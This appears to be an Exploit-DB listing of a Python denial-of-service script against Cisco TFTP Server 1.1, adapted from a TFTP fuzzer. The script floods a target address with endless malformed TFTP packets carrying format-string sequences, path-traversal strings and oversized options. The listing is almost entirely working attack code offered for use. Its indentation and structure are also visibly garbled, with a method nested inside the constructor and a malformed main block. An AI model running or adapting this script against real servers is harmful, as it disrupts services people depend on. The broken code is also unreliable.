Cisco TFTP Server 1.1 - Denial of Service

EDB-ID:

11878


Author:

_SuBz3r0_

Type:

dos


Platform:

Windows

Date:

2010-03-25


# Exploit Title: [Cisco TFTP Server 1.1]
# Date: [2010-03-25]
# Author: [_SuBz3r0_]
# Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html]
# Version: [1.1]
# Tested on: [XP SP3,Win2k3]
# CVE : [if exists]
# Code :
#Cisco TFTP Server v1.1 DoS
print ""
print "##############################################"
print "#                 _SuBz3r0_                  #"
print "##############################################"
print ""
print "Cisco TFTP v1.1 Remote DoS"
print "Just For Fun"
print "tftp_fuzz.py [ip of server]"
print ""
print "Greetz:piloo le canari & MaX"
print "Credits to Ilja van Sprundel"
print "Tested on: French Windows Xp Sp3 fully Patched"
print ""

#!/usr/bin/python
# tftpd fuzzer by Ilja van Sprundel
# implements rfc 1350, 2090, 2347, 2348, 2349
#
# todo: - 1 option per packet
#     - lots (>100) (small) options per packet
#     - add better option support to OACK
#    - client fuzzing ?
import os, socket, sys, struct, random
port = 69
type = ["netascii", "octet", "binary", "mail"]
asize = ["blkzise", "tsize"]
class fuzz:
    def __init__(self):
        """ """
        def randstring(self, len):
                thestring = ""
                what = random.randint(0,5)
                if what < 5:
            for i in range(len):
                            char = chr(random.randint(1,255))
                            thestring += char
                else:
                        thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
        return thestring

    def randbin(self, len):
        thestring = ""
        for i in range(len):
            char = chr(random.randint(0,255))
            thestring += char
        return thestring

    def fuzz_rw(self):
        """ """
        data = ""
        if not random.randint(0,50):
            return ""
        if not random.randint(0,10):
            if random.randint(0,1):
                data = "../"
            else:
                howmany = random.randint(1,100)
                data = "../" * howmany

        data += self.randstring(random.randint(0,3000))
        # no 0byte
        if not random.randint(0,10):
            return data
        data += "\0"
        # no mode
        if not random.randint(0,100):
            return data

        if random.randint(0,5):
            data += random.choice(type)
        else:
            data += self.randstring(random.randint(0,3000))

        if not random.randint(0,10):
            return data
        data += "\0"
        if not random.randint(0,10):
            return data
        options = random.randint(0,100)
        if not random.randint(0,10):
            breakloop = 1
            breakit = random.randint(0, options)
        else:
            breakloop = 0
        longarg = random.randint(0, options)
        if not random.randint(0,10):
            lowlimit = 16
            options = options / 4
        else:
            lowlimit = 0
        for i in range(options):
            which =  random.randint(lowlimit, 19)
            if which < 16:
                if longarg == i:
                    data += self.randstring(random.randint(0,3000))
                else:
                    data += self.randstring(random.randint(0,100))
                data += "\0"
                data += self.randstring(random.randint(0,100))
            if which == 16:
                data += "multicast\0"
                if not random.randint(0,5):
                    if random.randint(0,1):
                        data += self.randstring(random.randint(0,50))
                    else:
                        data += str(random.randint(0, 0xffffffff))
            if which == 17 or which == 18:
                data += random.choice(asize) + "\0"
                if random.randint(0,10):
                    if random.randint(0,1):
                        uplimit = 65535
                    else:
                        uplimit = 0xffffffff
                    string = str(random.randint(0, uplimit))
                    if random.randint(0,1):
                        data += "-"
                    data += string
                else:
                    data += self.randstring(random.randint(0,50))
            if which == 19:
                data += "timeout\0"
                if random.randint(0,10):
                    which = random.randint(0,5)
                    if which < 4:
                        uplimit = 255
                    if which == 4:
                        uplimit = 65535
                    else:
                        uplimit = 0xffffffff
                    string = str(random.randint(0, uplimit))
                    if random.randint(0,1):
                        data += "-"
                    data += string
                else:
                    data += self.randstring(random.randint(0,50))

            if breakloop:
                if i == breakit:
                    return data
            data += "\0"


        return data

    def make_data(self):
        """ """
        which = random.randint(0,10)
        if which < 6:
            # read is more likely to be accepted then write
            # hence we bias it towards reading !
            if random.randint(0,2):
                d = "\x00\x01"
            else:
                d = "\x00\x02"
            d += self.fuzz_rw()
        # do some tftpd's do something with this ???
        elif which == 6:
                d = "\x00\x03"
                d += self.randbin(2)
                d += self.randbin(random.randint(0,3000))
        elif which == 7:
                d = "\x00\x04"
                d += self.randbin(2)
                if not random.randint(0,10):
                    d += self.randbin(random.randint(0,3000))
        elif which == 8:
                d = "\x00\x05"
                d += self.randbin(2)
                d += self.randstring(random.randint(0,1000))
                if random.randint(0,10):
                    d += "\0"
        elif which == 9:
                # lets do this later ....
                d = "\x00\x06"
                d += self.randbin(1000)
        else:
            if random.randint(0,2):
                times = 512
            else:
                times = random.randint(512, 10000)
            d = self.randbin(random.randint(0,times))
        return d

    def run(self):
        """ """
        packets = 0
        try:
            while 1:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                except:
                    print "socket() failed"
                    sys.exit(1)
                da = self.make_data()
                s.sendto(da, (host, port))
                s.close()
                os.write(1,".")
                packets += 1
        except KeyboardInterrupt:
            print "\nPackets: " + str(packets)

if __name__ == '__main__':
        if len(sys.argv) <= 1:
        sys.exit(0)
        host = sys.argv[1]
    if len(sys.argv) >= 3:
        port = sys.argv[2]
        f = fuzz()
        f.run()